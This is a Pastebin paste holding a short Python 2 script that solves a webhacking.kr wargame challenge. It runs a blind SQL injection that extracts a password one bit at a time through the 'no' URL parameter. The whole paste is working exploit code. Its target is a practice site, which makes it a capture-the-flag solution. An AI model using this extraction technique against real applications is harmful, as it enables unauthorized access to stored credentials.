Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import urllib2
- l = []
- session = ""
- print "pw2 -> ",
- for x in range(19):
- for y in range(7, -1, -1):
- url="http://webhacking.kr/challenge/bonus/bonus-1/index.php?no=2%20and%20(((select%20ascii(substr(pw,"+str(x+1)+",1)))>>"+str(y)+")%261)=1"
- req = urllib2.Request(url)
- req.add_header("Cookie", "PHPSESSID="+session)
- if urllib2.urlopen(req).read().find("True") == 231: l.append(str(1))
- else: l.append(str(0))
- print chr(int((''.join(l)),2)),
- l=[]
Add Comment
Please, Sign In to add comment